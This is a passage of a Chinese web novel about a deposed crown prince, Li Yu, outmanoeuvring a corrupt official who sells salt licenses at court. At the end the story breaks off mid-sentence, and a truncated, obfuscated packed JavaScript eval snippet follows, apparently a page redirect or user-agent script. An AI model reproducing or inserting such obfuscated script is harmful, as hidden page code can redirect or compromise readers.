听完众人的描述,乾帝脸色早已阴沉的能够滴出水来。 “幽王这是对朕怀恨在心啊!” “朕削他东宫兵权,就是想要防止他以势欺人,谁知道将护卫将至三十人,他依旧恃强凌弱,目无法纪!” “朕对他如此宽宥,他还不知好歹。” “既如此,那朕便让他长长记性!” “来人拟旨,幽王目无王法,恃强凌弱,将其护卫全部削减,禁足半年,罚俸三年!” 如果说禁足罚俸还是常规操作的话,那这护卫全部削减可就有点狠了。 身为皇子,身边多少都是要有些护卫在的。 先前李钰的三十人护卫,已经是皇子能够拥有最低的护卫数量了。 现在李钰是连这三十人都没了! 对于皇子来说,这可是和贬为庶人没多大区别了。 将李钰这最后一重保障撕掉之后,秦王一系的官员,脸色肉眼可见变得兴奋起来。 没了护卫,等到李钰去了宣化,那可就真的成了光杆将军,任人宰割了。 但在张勋等人看来,这事儿还远没有结束。 他们今日可不仅仅是冲着李钰的护卫来的,还有苏家的虎贲营! 几人对视一眼,那张勋便再次站出来。 “陛下,臣以为纵然是削去了幽王的护卫,恐怕也是无济于事。” 乾帝这时候本就在气头上,一听这话,顿时眉头一皱。 “爱卿此言是什么意思?” 张勋躬身道:“陛下,臣听闻幽王已经答应了苏家的婚事,恐怕如此做法,只是为了让陛下将注意力放在他的护卫身上,从而好让陛下忽视了苏家的虎贲营。” “若是有了苏家的虎贲营在,陛下便是削去幽王再多的护卫又有何用?” 此刻张勋的一句话,让乾帝瞬间脸色一变。 对啊! 李钰是没护卫了,但还有苏家的虎贲营啊! 虽然说明面上虎贲营的调动归自己这个皇帝和朝廷所有,但苏家经营虎贲营几十年时间,不可能对虎贲营一点影响都没有。 若是李钰得了虎贲营,岂不是让他有了犯上作乱的本钱? 然而,就在乾帝脸色越来越难看的时候,队列中突然响起一道反对的声音。 “陛下,臣以为张大人所言,还是有待商榷。” 话音刚落,所有人都齐刷刷的朝着说话之人看去。 发现这站出来说话的,居然是礼部尚书,刘玄礼。 乾帝见朝中居然还有人替李钰开脱,脸色瞬间一沉。 “刘玄礼,你这话是什么意思?难道百官都是瞎的,就你一人看得清楚?” “陛下,臣只是觉得此事蹊跷,幽王殿下做事还算稳重,先前从未出现过殴打官员的事儿,或许此事另有隐情也说不定。” “再者,幽王殿下监国之时,向来都刻意回避兵事,从不染指兵权,为何现在又突然对虎贲营产生了兴趣?” 见刘玄礼非但没有害怕,反倒是有理有据的开始为李钰辩解起来。 乾帝神色大怒。 “放肆!你说不是就不是?” “他先前不染指,只是伪装的好罢了,朕罢免他太子之位,他怀恨在心,图谋不轨,染指虎贲营又有什么不可能?” “难不成非要等他得手之后,朕才能反应?” “此事无需再论,朕自有决断!” 刘玄礼张了张嘴,最终心中喟叹一声,脸上浮现出几分无奈。 他最担心的就是乾帝说自有决断。 这说明乾帝已经惦记上这事儿了。 现在不说如何处置,只是没想好怎么做合适,一旦想好了,无论是幽王李钰还是苏家,一个都跑不了。 帝王心术就在这一念之间。 见刘玄礼不再说话,乾帝阴沉着脸开口道:“诸卿可还有什么事儿?” “陛下,臣有本奏。” 户部尚书沈石站了出来。 “陛下,江南盐商皆以入京,准备商议今年盐引划分一事,还请陛下安排人手主持此事。” 第7章 他们会来找本王的 盐引重新划分? 自己怎么把这么重要的事儿给忘了? 乾帝眼神顷刻间变得明亮起来。 大殿内,不仅仅是乾帝,就连不少大臣也是眼神明亮。 大乾江南盛产盐矿,盐铁作为朝廷掌控的资源,每年通过发放盐引能迅速积累大量的银钱。 少说也有数百万两之巨。 这还不是盐税的钱! 盐税可是大乾在江南的重要税收。 重新划分盐引,这可是一件大事儿! “盐引重新核定划分这事儿,不一直都是你户部的事儿吗?朕给你指派什么人?” “陛下,这盐税和户部有关系,但盐引却没有多少关系。” 只是一句话,沈石就让乾帝脸色肉眼可见发生了变化。 “这话是什么意思?盐税和户部有关系,怎么盐引就没了?” 瞧瞧这是一个皇帝能说出来的话? 对于乾帝多年不理朝政这件事儿,即便是沈石心中也开始吐槽起来。 皇帝做到这份上,也是亘古未有了。 “启禀陛下,早在五年前太子就将盐引和盐税两件事儿拆开了,盐引五年一审核,目的便是防止户部有人欺上瞒下,中饱私囊。” “这盐引核定都是到了时候,由太子主导审定的。” 此话一出,乾帝脸上神色瞬间变的僵硬起来。 “太子?你是说李钰?” “正是。” 沈石回应了一声之后,接着道:“自从五年前李钰殿下重新划分了盐税和盐引发放之后,江南盐商的积极性提高了不少。” “原先会拖欠一二,隐瞒不报盐税的情况,这些年从未发生过。” “相反,上缴的盐税,更是一年多过一年。” “全都是因为殿下将盐税作为盐引审核的标准之一。” 提及这事儿,沈石语气中更是多了几分对李钰的钦佩。 这反应让乾帝脸色颇为难看。 虽然说这办法确实是有效,而且对于朝廷也是好事儿,但只要想想这事儿和李玉脱不开干系,乾帝心中就忍不住浮现出几分厌恶。 而且,乾帝现在也明白了。 这朝中替李钰说话的不仅仅是刘玄礼,还有沈石! 朝中两位尚书都在明里暗里的替他李钰说话,非但没有让乾帝察觉到罢免李钰的不妥,反倒是让乾帝愈发坚定了自己的决定。 这要是现在不废了李钰,日后朝堂上谁还认他这个皇帝? “沈石,你这话的意思是,没有了幽王李钰,你户部做不成这事儿了?” “这给你们俸禄,就是养你门这群废物的?” 哪料,即便是面对乾帝的责骂,沈石也没有丝毫害怕。 “陛下,臣和户部官员从未主导过这件事儿,且只有李钰殿下才能做到绝对的公平,我等万不能及。” “而且,江南的盐商也只相信李钰殿下。” 盐商之所以会只相信李钰,那是因为李钰说到做到。 反观朝中其他人,早些年除了从盐商身上使劲薅羊毛之外,那是人事儿一点不干。 抗拒其他人也就成了顺理成章的事情。 “盐商不相信朝廷,反倒是相信一个废太子?” “天大的笑话!” 乾帝一挥衣袖,整个人都站了起来。 “朕还就不信了,没有了他李钰,这盐引还发不出去?” “今日朝中大臣都在,你们谁敢接下此事?” 此话一出,大殿内可以说是一片寂静。 一时间居然没有大臣敢主动接下这件事儿。 就在乾帝脸上有些挂不住的时候,那低着脑袋的王珣眼珠子转了转,主动请缨站了出来。 “陛下,臣愿意一试!” 听到终于有人敢站出来了,乾帝脸上一喜,就朝着王珣看去。 “好!我大乾还是有为君分忧的良臣啊!” “王珣,朕现在封你为盐引专管使,全权负责盐引审核发放一事。” 听闻此言,王珣心中一喜。 “臣谢主隆恩!” “臣保证,不辜负皇恩,全力办成此事!” 而秦王一系的官员,虽然说没有主动站出来,但看到王珣的操作,心中也还是松开了一口气。 这盐引审核发放一事虽然麻烦,但到底也算是个肥差,最重要的是日后能有机会掌控江南盐税。 这可是一大笔收入! 若是能够掌控在他们秦王一系的手中,那可就是如虎添翼了。 反观刘玄礼和沈石两人,看着王珣跪地谢恩的模样,心中多少有些无语。 他们两人对于王珣再清楚不过了。 就这种货色掌管盐引事物,无异于老鼠掉在了粮仓里。 到时候绝对少不了吃拿卡要的情况! 原本是利国利民的好事儿,现在看最后还不知道利了谁。 刘玄礼想要提醒乾帝一句,但却是看到沈石暗自摇了摇头,最终收回了即将迈出去的脚步,心中长叹一声,闭上了自己的嘴巴。 …… 王珣负责盐引审核发放一事的消息,很快就在京城传播开来。 当李钰得知这个消息之后,非但没有生气,反倒是笑了起来。 这让王府管事吕青有些丈二和尚摸不着头脑。 他原本是负责打理府邸一应事务的。 算是李钰手中的老人。 自然也知道盐引一事和李钰关系匪浅。 如今得知这个消息之后,见李钰还笑得出来,心中不免有些奇怪。 “殿下,您怎么还能笑得出来?” “您的卫队被砍掉了不说,现如今连划分审核盐引的权力都没有了,陛下这显然是在针对您啊!” 没有了护卫,李钰的安全也就成了大问题。 “吕青,本王的护卫是没有了,但朝廷没有说本王不能有仆人吧?” “这……” 吕青下意识的愣了一下,随后摇了摇头。 “这倒是没有。” “这不就得了。”李钰微微一笑,“没规定仆人有多少,那本王将现在的护卫转成仆人总行了吧?” “告诉陈玉楼他们,若是愿意留下待遇照旧,本王也不会让他们干仆人的事儿,一切照旧,只是换个名头而已。” 听到这话,吕青也是眼神微亮。 “老奴明白了。” “那这盐引的事儿?” 闻言,李钰却是没有着急。 这几日他消化前身记忆,发现这前身除了性子软弱之外,手段其实并不差,甚至可以说作为太子完全合格。 就拿着盐引来说,五年一审,直接拿捏住了所有的江南盐商,让他们主动内卷,为朝廷做事缴纳盐税。 也凭借这一手,笼络了大量的江南盐商。 所以,他在听闻盐商入京商议盐引一事的时候,并不像是外人以为的那样着急。 因为他知道,没了自己,朝中必定有人作妖。 “不急,先看看再说。” “你现在插手,怎么让朝中的人作妖?” “到了时机,自然有人回来找本王的。” 第8章 新规矩 京城,江南会馆。 大乾国土广袤,各地都有人会来京城办事。 久而久之,各地商人士族便出钱出力,再京城修建本地会馆。 其中,这江南会馆算是京城最大的会馆之一。 因为要议定盐引一事,这一次有不少盐商北上,居住在这里。 原本是一件开开心心的事儿。 但此时的江南会馆当中,气氛却是带着几分凝重。 “太子居然被废?这也太突然了!” “听说是太子主动提出来的,陛下暴怒,将其贬为幽王,不仅仅是削了品级,就连其他亲王该有待遇也全都没了。” “太子做事稳重,为人谦逊,做事更是为国为民,这好端端的为何不做太子了?” 会馆内。 众人你一言我一语的说着,神色间皆是不解。 “现在也不是关心这个的问题,太子不在朝中,那这一次盐引核定一事,朝廷又会派谁来接手,这才是重中之重。” “如果换上一个和过去的官员一般无二的,这不是纯粹给咱们添堵吗?” “对啊!这要是来添堵的,咱们可就麻烦了!” 就在众人慌乱的时候,大堂外突然传来一道高喊。 “礼部员外郎,盐引专管使,王珣王大人到!” 听到这一声高喊,在场的所有人都齐刷刷的站起身来,纷纷朝着门口走进来的人行了一礼。 王珣背负双手,施施然走了进来。 当看到堂内有这么多人的时候,也不由得愣了一下。 “你们都是这一次来京城审定盐引的盐商?” 见王珣是个生面孔,在场之人对视一眼,随后小心翼翼的点了点头。 齐齐回应了一句。 “正是。” 得到回答的王珣,脸上神色肉眼可见变得开心起来。 来之前他就在琢磨这次的差事。 盐引值钱在这是傻子都知道的道理,先前李钰重新审定划分盐引,更是让着东西变成了紧俏的好东西。 但他最担心的,还是这拥有盐引的盐商,其实没多少。 如果这样的话,他这一次审定,说白了也就是走个过场,还是这批人。 根本没有自己捞油水的机会。 但现在却不一样了! 堂内有这么多人! 一眼扫去足足有几十人之多! 而这一次分发的盐引,也就是五张而已! 这么多人,岂不是给了自己不少操作的空间? 想到这里,王珣的脸上也浮现出几分笑容。 “这么多人,却只有这么区区几张盐引,看样子是免不了一场恶斗了。” 嘀咕完了之后,王珣这才抬头看向其他人 “本官今天来此,是奉命而来!” “今年朝廷批复的盐引,只有五家而已。” “你们这么多人,就算是争的头破血流,也未必能够拿到盐引。” “所以,往年的规矩需要改一改才行。” 听到这话,众人瞬间一愣。 就在这时,一道询问声响起。 “敢问王大人,这规矩您打算如何改?” 王珣嘴角一扬,淡淡道:“简单,盐商讲求的就是一个实力。” “这时候先展示自己的实力才行。 “你们想要盐引,那就需要先拿出一笔钱来,以保住自己的资格。” 第9章 本王概不负责 京城,王府。 从江南会馆回来之后,王珣就直接回府休息。 丝毫没有着急办差的意思。 只因为他比谁都清楚,自己说的事儿,江南会馆的盐商们,且得消化一会儿呢。 然而,就在王珣打算睡觉的时候,却突然听到有下人禀报。 “老爷,府外有人求见!” 王珣眉头轻蹙。 “什么人?这大晚上的不让人睡觉?” 知道打搅了王珣,下人也是有些惧怕。 小心翼翼看了一眼王珣之后,这才开口道:“老爷,来人说自己是江南来的,姓何。” 江南来的? 当听到对方来历的时候,王珣也是有些好奇起来。 稍作思索之后,才下令将人带进来说话。 不过一会儿,那人就被带到了王珣的书房内。 “小人何林泽,见过王大人。” 上下端详了一眼对方,王珣这才说道:“本官对你有点印象,你是……” “王大人,小人今日在江南会馆和您见过一面。” 一听这话,王珣瞬间恍然大悟。 “想起来了,不知道何家主来这里见本官有什么事儿?” 何林泽急忙低着脑袋,开口解释道:“王大人,小人今天听了您的话之后,仔细琢磨了琢磨,心中多了几分揣测。” “知道您为君办事,为国分忧。” “像盐引这种小事儿,实在是浪费您的时间。” “思前想后,还是决定今晚就来见您一面,为您分忧。” 说话间,何林泽便从衣袖里摸出来一张银票,双手小心翼翼的放在王珣手边。 “何家主,你这是干什么?” 何林泽微微一笑,躬着身子道:“王大人这张银票从我大乾任何钱庄都能取钱出来,面额是五万两。” “这算是小人的定钱,明日小人便会报出自己的价格,一张盐引五万两。” “您放心,到时候小人一定现场交钱,十万两一两银子都不会少。” “还请大人照顾一二。” 说是定钱,实则就是给了王珣五万两银子! 到时候在算上十万两的盐引钱,这何林泽为了一张盐引,居然开价十五万两! 果然,天下盐商富可敌国,不是一句空话。 看着手边的银票,王珣微微一笑,动作为不可查的将那银票收下。 最后长叹一口气。 “何家主,其实也不是本官为难你们,朝廷处处用钱,陛下省吃俭用依旧有些捉襟见肘。” “你这盐引好说,剩下的怕是有些麻烦啊。” 一听这话,何林泽哪里不知道王珣的意思,这是担心有人不会报价。 “大人放心,小人回去之后一定促成其他各家出价,您这盐引,他们眼热着呢。” 闻言,王珣哈哈大笑一声。 “如此,那本官就等着你的好消息了!” …… 之后几日,盐商们各有心思,虽然说都知道王珣这么做的目的,但真到了最后的时间,还是有不少盐商报了价。 汪臧海知晓这件事儿之后,也没有慌乱,而是暗中收集证据。 当看到王珣凭着盐引,大发横财的时候,即便是上了岁数,还是忍不住爆了一句粗口。 “这群禽兽!没了太子殿下,视国法如无物!” “何家一张盐引,他就贪墨了五万两白银!简直胆大包天!” 随从见汪臧海气得不轻,一时间也是有些为难。 “老爷,王珣那边已经定下了盐引归属,准备上报朝廷呢,属下听说王珣凭借盐引,暗中贪墨白银有二十万两之巨!” “这还是他第一次督办这件事儿,若是欺瞒了陛下,让陛下以为他做的不错,那日后怕是会变本加厉啊!” “咱们得想想办法才行。” 汪臧海喘了几口粗气,将心情平复下来之后,这才说道:“咱们去找太子殿下!” “这事儿还是得他拿主意!” “给老夫备车!现在就去!” …… 汪臧海急匆匆来到幽王府求见李钰。 当得知汪臧海来了的消息,李钰也是有些好奇。 按照前身记忆,汪臧海算是前身扶持起来的盐商之一。 这时候来找自己,应该是和盐引一事有关系。 “带进来吧。” 不过片刻,汪臧海就被带到了李钰面前。 “老朽拜见殿下!” 看着这老头见了面就跪,李钰示意下人将其搀扶起来,随后赐座。 “汪家主来见本王,是有急事?” 见李钰没有因为被罢黜太子之位而伤心,汪臧海心中有些奇怪,但听到询问,还是急忙说明自己的来意。 “殿下,还请您救救我们各家盐商啊!” “那王珣胆大妄为,公然售卖盐引,价高者得!” “不仅如此,这几日他私下收受贿赂,一张盐引最少贪墨了十万两之巨!” “您若是再不出山,这江南盐商大好局面可就全都毁了!” “日后人人唯利是图,苦的还是江南的百姓啊!” 看着汪臧海上来就带着哭腔求自己出手,李钰压手道:“不急,你说的这些可有证据?” 汪臧海闻言,急忙将自己的证据递了过去。 “殿下,这是何家和另外几家调用银钱的存根,短短几日,调来京城的银钱足足有百万之巨,其中将近二十万两流入王家。” “我等人微言轻,这东西怕是连御前都送不到,因此还是要麻烦您出手才是。” 李钰接过来证据翻看了一下,心中也不由的咂舌起来。 这王珣是穷疯了吗? 一张盐引卖十万也就算了,他自己还贪墨五万两,真是不知道死字怎么写了? 将证据合起来,退回给汪臧海。 “汪家主,本王乃是带罪之身,就算是将这东西送进宫里去,陛下也未必会相信我说的。” “想要我出山,怕是不太现实。” 李钰此话一出,汪臧海瞬间慌乱起来。 “殿下!” 不等汪臧海说话,李钰便止住了对方话头,接着说道:“本王虽然不便出手,但可以给你指一条明路。” “本王给你写一份信,你带着去找户部尚书沈石,这件事儿交给他来办,再合适不过了。” “这……当真可以?” 李钰笑了笑。 “当然可以,你到时候听他安排便是。” 现在出面可不是李钰的风格,这事儿没闹大之前,他是不会插手的。 但却可以让别人将这件事儿捅破出去。 他倒是要看看,乾帝面对接下来的乱局,到底能不能扛得住。 汪臧海见李钰铁了心的不出面,心中虽然有些无奈,但也只能遵照李钰的意思去户部试试运气。 第10章 朕的钱! 盐引的名单确定下来,王珣意气风发的拿着刚刚确定好的盐商名单,入宫复命。 五张盐引,合计卖出去了八十万两。 这还不算他暗中贪墨的二十万两。 这一进一出,短短几天时间,经手他的银钱就高达百万两之巨! 虽然说这其中有十五万两是他孝敬秦王的,但即便如此他也有五万两的进项,这可比他在礼部那个清水衙门好几年都捞的多。 为了把这摇钱树一样的差事握在手里,王珣上奏的折子写的那是用尽了心思。 “八十万两?这盐引还没有完全定下,就有这么多钱?” 看着奏折里王珣上报的数字,乾帝眼中满是兴奋之色。 而王珣见状,则是点了点头,开口道:“陛下,先前幽王住持此事,只是要求江南盐商按时缴纳盐税即可,却未曾要求他们盐商缴纳银钱在先。” “虽然臣不知道这钱到底是有还是没有,但总归是没有进入国库和陛下手中。” “也让朝廷白白损失了几十万两白银。” 乾帝听了这话,脸色也随之一变,冷哼道:“这混账东西,哪里有白白送出去盐引的道理?依朕看,这钱大概是被他自己昧下了!” 听到这话,一旁的户部尚书沈石却是眉头微蹙。 陛下居然宁肯相信王珣的鬼话,也不相信太子殿下的人品! 这盐引从一开始没有要钱,就是因为太子殿下担心盐引固定于一家手中,长此以往有的盐商越来越富,有的则是倾家荡产。 一旦盐商成了气候,在想控制就难如登天。 所以才注重盐商拿到盐引之后的规划,而非这盐引卖了多少钱。 李钰的法子才是长久之法,王珣这做法,无异于杀鸡取卵! 可陛下连这些都分辨不清,只看到了手中那八十万两白银。 王珣见乾帝生气的样子,便趁热打铁道:“陛下,臣觉得应该派人详查这件事儿,免得朝廷遭受了损失而不自知。” “让幽王殿下逍遥法外。” 王珣自觉没有人能拒绝盐商银钱的诱惑,这李钰嘴上不说,手中绝对有不少贪赃的银钱。 如果能够搜到,那也算是打压李钰的一张牌。 到时候他倒是要看看,李钰到底有什么本事辩解。 乾帝听到这话之后,也是觉得很有道理,刚打算开口同意,却突然看到户部尚书沈石站了出来。 “陛下,臣有话要说。” 见状,乾帝眉头一皱。 “沈卿有什么想说的?” 只见那沈石双手将一封信拿了出来,高举过头。 “陛下,臣入宫之前,接到江南盐商一份联名上奏的状纸。” “他们状告盐引专管使王珣王大人,知法犯法,以权谋私之罪。” “并且列举罪证,说王大人收受部分盐商贿赂,发放盐引。” “贪墨银钱足有二十万之巨!” 听到这话,大殿内瞬间安静下来。 乾帝更是睁大眼睛,一脸的不可思议。 “你说什么?王珣收受贿赂?这怎么可能?” 王珣此刻也是刷的一下,脸色变得惨白无比。 这沈石是怎么知道这件事儿的?而且连自己所贪墨的银钱多少都一文不差? “一派胡言!” “本官为陛下分忧,怎么可能贪墨银钱!这全都是那群没有拿到盐引资格的盐商污蔑本官!” 看着着急的王珣,沈石淡淡道:“如果只是一两个人这么说,那也就算了,本官未必会相信他们说的。” “但是除了那五名拿到盐引的盐商之外,这一次来到京城的盐商全都在状纸上属了名字,难道王大人是说,他们全都是说谎?” 乾帝眉头微皱。 这一次来到京城的盐商足足有上百人之多,除了五个全都拿到盐引的盐商之外,剩下的全都属了名,那这件事儿极大可能是真的。 乾帝看向王珣,目光微凝。 “王卿,你可有证据证明自己?” 王珣支支吾吾不知道该说什么才好,沈石发难太过突然,他根本没有准备。 而沈石见状,则是接着说道:“陛下,其实这事儿很简单。” “王大人先前说价高者得,所以各位盐商也都报了价,其中汪家说自己报价二十万两,但依旧没有拿到盐引的资格。” “如果王大人所卖盐引的价格,有高于这个价格的,那自然是没有问题,但远低于二十万两,却花落其他人之手,足以证明王大人有中饱私囊的嫌疑。” “臣已经让人封存了报价单,陛下让人查验即可。” 这事儿其实并不是沈石想到的,而是在看到李钰的书信后想到的。 如果不是李钰提醒及时,这证据怕是早就被王珣给毁了。 这也是王珣自作自受,他觉得朝中没有了太子李钰的阻挠,也就万事高枕无忧,做事也松懈了不少,让他有了可乘之机。 乾帝听完这些话之后,心中也是生出几分狐疑。 他原本是相信王珣的,毕竟一次就给自己弄来了八十万两,但如果沈石说的是真的,那这钱应该远不止这些才对。 敢动自己的钱! 亲儿子他也不放过! “来人,将报价单拿来!” 乾帝一声令下,立马有宫中太监前去拿证据。 而朝堂上的气氛也是陡然一变。 当那报价单被呈现给乾帝的时候,乾帝便随手拿起一份打开翻看起来。 只是一眼,乾帝脸色就猛地一变。 “赵家,十八万两?” 又拿起几份,一一打开之后乾帝的脸色也变得越发黑了。 “柳家,十九万两?” “汪家,二十万两?” 再对比王珣给自己奏折里报价的数额,里面最高的也就是十五万两! 价高者得? 这分明是价低者得! 而随着乾帝一一将价格读出来,王珣也脸色惨白的跪倒在地上。 “陛、陛下,您听臣解释……” “解释?你要怎么解释?” “入选的盐商价格最高也就是十五万两,而这没有入选的报价能到了二十万两!” “这中间少了多少,你算不明白?” “看着朕的眼睛告诉朕!这些报价你是不是压根都没有打开看过?” 见王珣脸色惨白战战兢兢的说不出话来,乾帝气急。 “朕的钱!” “枉朕如此信任你,你就是如此给朕办差的?” “来人!将王珣打入大理寺,从重严审!朕要看看他到底贪墨了朕多少银钱!” 第11章 本王要他的命 王珣万万没想到,自己原本是进宫邀功来了,眨眼间的功夫就被去了官职,拿入大狱候审。 甚至连辩解的机会都不给自己。 “陛下!臣冤枉!” “臣冤枉啊!” 被禁军拖拽着离开大殿,王珣那求饶的声音还在殿外回荡。 反观乾帝,此刻脸色阴沉,一手抻着龙椅,喘着粗气,显然是被气得不轻。 沈石见状,心中稍松了一口气。 同时又对幽王李钰的手段敬佩不已。 人都没有出面,只是让盐商将事情闹大,只说银钱多少,而不说是否公平。 瞬间就踩中了乾帝的逆鳞。 在朝堂上办事。 你可以碌碌无为,但绝对不能在钱上糊弄乾帝。 王珣便是下场! 乾帝看着手中确定好的盐商名录,皱眉片刻后道:“江南盐商闹事,这定下来的名单是不能用了,就此作废吧。” “这些选定的盐商,上缴来的银两,全部充公!” “涉案之人也全部拿下,严加审问,给朕严办!” “沈石,这事儿就交给你了。” “臣领旨。” 沈石上前一步,躬身应是,但却没有立马退下,而是小心翼翼看了一眼乾帝。 “陛下,审问一事简单,眼下平复其他盐商才是重中之重,否则盐路受阻,今年的盐税也会受到牵连,影响国库进项。” 一听会影响到自己的钱,乾帝立马有些着急起来。 “沈爱卿觉得,这事儿交给谁来做合适?” 沈石稍作犹豫,欠身道:“臣以为,这事儿还是交给幽王去做比较合适。” “不成!” 几乎没有任何犹豫,乾帝立马就否定了沈石的建议。 整个人就好似踩住了点门一样,怒声道:“那逆子做事如何先不论,总是行悖逆之举,这事儿交给他朕不放心。” 沈石闻言,心中喟叹一声。 “只是陛下,除此之外再没有合适的人了。” “如果再遇到像王珣这样的人,出了事儿可就有大麻烦了,盐商信不过朝廷,贩卖私盐必定蔚然成风。” “受到损失的还是朝廷不是。” 乾帝闻言,脸色有些难看。 眼瞅着乾帝一言不发,沈石接着说道:“而且选择幽王,也是有好处的。” “一是幽王处理过此事,轻车熟路能省去不少麻烦,二是江南盐商对幽王也信得过。” “这事儿越快处理越好,拖久了于陛下无益啊!” 沉默片刻后,乾帝神色纠结道:“可是朕才刚刚斥责过他,明旨昭告天下他是不学无术,目无君上的人。” “这时候再用他,岂不是打朕的脸?” “陛下,国库要紧啊!” 沈石一句话让乾帝彻底没了话。 虽然说自己脸面重要,但没有了银钱,他这个皇帝也是寸步难行。 思前想后,乾帝还是先服了软。 “如此,就先将幽王传召入宫,朕要看过他的态度之后,再决定此事。” 沈石闻言,神色间浮现出几分喜色,但也转瞬即逝。 “臣遵旨!” …… 乾帝重新召幽王入宫。 消息一出,整个京城都迅速传播开来。 要知道,先前李钰被罢黜太子之位,降为幽王。 陛下更是下旨昭告天下,明着斥责李钰种种罪行。 并且流放宣化。 现在又突然招人入宫,显然是有什么要紧的事情。 百官这时候也是在宫中等候,想要看看陛下如何安排幽王。 然而,让众人万万没想到的是,幽王折腾了两三个时辰,才晃晃悠悠进了宫。 等来到大殿内的时候,乾帝的脸色早已阴沉如水。 反观李钰,此时神色淡然的站在殿里,甚至当着百官和乾帝的面,打了个哈欠。 见状,乾帝心中怒极。 “朕和百官在乾元殿里等了你将近三个时辰!你到底是何居心?” 李钰闻言,随意拱了拱手道:“父皇这话说的,儿臣已经退出东宫,搬到了皇城外住着,进宫自然耗费了一些时间。” “你那幽王府距离皇城也不过两三个坊间而已,用得了这么久?” “堵车,儿臣也没办法。” “堵、堵车?” 乾帝错愕的看着李钰,一时间居然被噎的说不出话来。 他在位这么多年,还是头一次听到这种说辞! 担心再问下去自己会被气死,乾帝索性转移了话题。 直接将今日的目的说了出来。 “江南盐商在京城状告的事儿,你都知道了吧?” “不知道。” 李钰摇了摇头,神色间更是一脸天真的看着乾帝。 队列中的沈石见状,不由得嘴角抽了抽。 李钰这睁眼说瞎话的本事自己以前怎么没发现? 如果不是他,盐商怎么可能将事情闹得这么大? 看样子,殿下还是心有怨气啊。 “沈石!你来告诉这个逆子!” 担心被李钰气死,乾帝索性将这事儿丢给了沈石。 “臣遵旨。” 沈石躬身一礼,随后回身看向李钰,将今天朝堂上的事儿一五一十的说给了李钰。 听闻之后,李钰撇了撇嘴。 “王珣这狗东西,儿臣初见就觉得他不像是好人,果然没看错。” “放肆!你好歹也是堂堂皇子,说话怎么能如此难听?” 听到李钰这么说话,乾帝怒极。 周围大臣们看着李钰,也是一脸惊愕。 这还是那个温文尔雅的太子殿下吗? 什么时候变成这个样子了? 只见李钰看向乾帝,开口道:“父皇,说话好听那能叫骂人吗?” “儿臣今日不光要骂他,还要弹劾他呢!” 说着,便将自己早已准备好的奏折拿了出来。 “父皇,儿臣要状告礼部员外郎王珣,欺辱儿臣的未婚妻,羞辱皇子,当街斗殴,有损朝廷威严!” “不仅如此,此獠还在朝堂上肆意构陷皇子,伪造罪证,欺瞒皇上之罪!” “这……” 不仅仅是百官,就连乾帝都目瞪口呆的看着李钰。 自己让他来是想看看如何处置盐商的问题,他怎么还弹劾上人了? 沈石见状,心中也清楚,李钰这分明是一心要弄死王珣。 就刚刚列举的那些罪状,单单一条构陷皇子,欺瞒皇上,就足以定成死罪了。 第12章 给足好处 乾帝是很痛恨染指自己银钱的人。 但是在听到李钰要**王珣,要让王珣死无葬尸之地的时候,乾帝下意识的就有些抗拒起来。 这混账! 现在要做朕的主? 而队列中原本想要隐藏自己的晋王李泰,眼瞅着李钰要弄死王珣。 这时候也不得不让自己的人站出来了。 毕竟是他晋王府的人,都要快被人搞**,他还不出面,这人心还要不要了? 只是使了个眼色,就立马有大臣站了出来。 “陛下,臣以为王大人虽然有罪,但罪不至死,而且大理寺还没有审问,岂能听幽王一家之言,就枉杀朝廷重臣?” 听到这话,乾帝也是立马接过来了话茬。 “爱卿所言极是,如果王珣有罪,自然有国法处置,还轮不到你妄下论断。” “再者说,朕今天找你来是商议盐商的事情,你的事儿之后再说。” “你先去安抚江南盐商,不要让今年的盐税受了影响,才是重中之重。” 李钰闻言,脸上露出一抹冷笑。 这老登,又想着白嫖自己! 老子能让你遂了愿? “父皇,请恕儿臣无能为力,这差事你还是另请高明吧。” 乾帝眉头一皱。 “之前不都是你做的吗?怎么现在无能为力了?” “儿臣这无能不是父皇您说的吗?” 李钰朝着乾帝眨了眨眼,一脸无辜天真。 而乾帝听到这话,身形一晃。 回旋镖终究是落在自己身上了。 见乾帝的样子,李钰轻叹一口气。 “而且儿臣有心病缠身,实在是无暇顾忌其他,儿臣办不好差事挨骂是小,损了国库才是大事儿。” 说完,李钰还伸出手来扶住胸口,一副痛不欲生的模样。 此时此刻,不仅仅是乾帝,朝中大臣全都目瞪口呆的看着李钰的表演。 心病? 你刚刚还中气十足的**人呢! 怎么就突然生病了? “你有什么心病?朕让太医给你治!” 李钰摇了摇头。 “儿臣这心病有法子,杀了王珣就好了。” 乾帝眼前一黑,差点没昏死在龙椅上。 这李钰是铁了心要搞死王珣啊! 深呼吸一口气,权衡了片刻的乾帝最终还是开了口。 “来人,拟旨!” “王珣贪赃枉法,羞辱皇子,罪不容恕,打入大理寺秋后问斩!” 说着,乾帝又顿了顿,拧着眉看向李钰。 “另外降旨,取消对幽王的惩戒,恢复其府中护卫数量。” 如今这情况,也只能弃车保帅了。 反正王珣也该死,只不过是早死晚死罢了。 至于恢复李钰的护卫数量,也是乾帝对李钰的补偿而已。 这东西随时都能拿掉,倒不如现在给了他,好哄着点李钰,给自己专心办事。 “朕做的,你还满意?” “哎呀,好多了。” 看着李钰将扶在胸口的手拿了下去,神情也恢复了正常,乾帝嘴角抽了抽。 “现在你能干事儿了吧?” “干是能干,但还差点东西。” 乾帝扶着龙椅的手瞬间一紧,手背上更是青筋暴起,目光狠狠的盯着李钰,冷声道:“你还差什么?” 李钰嘴角一勾,微微笑道:“奖赏啊!” “父皇,您总不能又让马儿跑,还不让马儿吃草吧?” 此话一出,百官震动。 这事儿还没做呢,就要赏赐? 太子以前可不是这样啊! 而秦王李泰,此刻却是眉头紧锁,心中浮现出几分不祥的预感来。 这李钰现在要奖赏,该不会是打算要回太子之位吧? 此时不仅仅是李泰,乾帝也是心生警惕。 “朕都答应你处置王珣了,你还不满足?” 李钰摇了摇头。 “父皇,王珣触犯的是国法,儿臣要不要求您都得杀他,这可不算是赏赐。” 被摆了一道的乾帝心中气急。 “那你想要什么?” 李钰嘴角一勾。 “儿臣想要父皇一个承诺,如果这差事儿臣办妥了,您得将虎贲营给了儿臣。” “宣化苦寒之地,又常年战乱,若是没有人护持,儿臣怕是活不了多久。” “不可能!” “想都不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 